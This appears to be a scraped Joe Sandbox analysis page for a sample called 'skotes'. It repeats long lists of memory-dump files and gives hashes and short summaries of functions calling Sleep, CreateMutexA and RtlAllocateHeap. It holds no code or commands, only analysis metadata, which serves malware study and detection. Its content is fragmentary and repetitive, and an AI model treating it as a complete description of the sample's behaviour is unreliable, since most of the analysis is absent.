Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 667757723de43dac0471263b46cfc6bb2f2b07ca7b43a3c3b7e8a25c4b421fbe
Instruction ID: 1aac048256acc4588a50de7ea857f375b28b7d5002d1a25e37ad075231a24c16
Opcode Fuzzy Hash: 667757723de43dac0471263b46cfc6bb2f2b07ca7b43a3c3b7e8a25c4b421fbe
Instruction Fuzzy Hash: 982149317242009BEF18AB6CECCDB6DF761EBC1310F20422EE458D72D1CBB59A918712

Function 00C3A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dcfce68eb1263d1b0c0519bdb1fbe54e20d0a39b57a07d41c094273ccb43a7ae
Instruction ID: f2f73bc7e0f44bf753c14d7b335861a901e80e83db2dd1a52cfaff536ea3739b
Opcode Fuzzy Hash: dcfce68eb1263d1b0c0519bdb1fbe54e20d0a39b57a07d41c094273ccb43a7ae
Instruction Fuzzy Hash: 0B217F703782049BFB34B7699C9EB7EB251DF81300F60092BE0C8DA6C1CB758A919253

Function 00C3A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 42d71931381e3ad35531ea17d4d203d18a01f6fe64212ec8558818515d310244
Instruction ID: 091ea3827c91a40b8fe22111cb38fe7e0c340d3a3af88a7ba6a5ed415b2e6dbf
Opcode Fuzzy Hash: 42d71931381e3ad35531ea17d4d203d18a01f6fe64212ec8558818515d310244
Instruction Fuzzy Hash: 45214C317242049BEB18EB6CDC8976DB761EBC1310F24462EE458D76D1C7759A918362

Function 00C6D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C6A813,00000001,00000364,00000006,000000FF,?,00C6EE3F,?,00000004,00000000,?,?), ref: 00C6D870

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ce6b9b958cbbe1688331aa88199624470767113db9f79bc9b029e5d9d420ec42
Instruction ID: 3b288df14744fb46fa84bf604596463ee4819fe83409350174d8dbfedf661545
Opcode Fuzzy Hash: ce6b9b958cbbe1688331aa88199624470767113db9f79bc9b029e5d9d420ec42
Instruction Fuzzy Hash: 97F0E232F0522466EB312A729C89B5F3759DF897B0B298121BD16A71D2DA30DD0096E0

Non-executed Functions

Function 00C6CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C6CC66

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
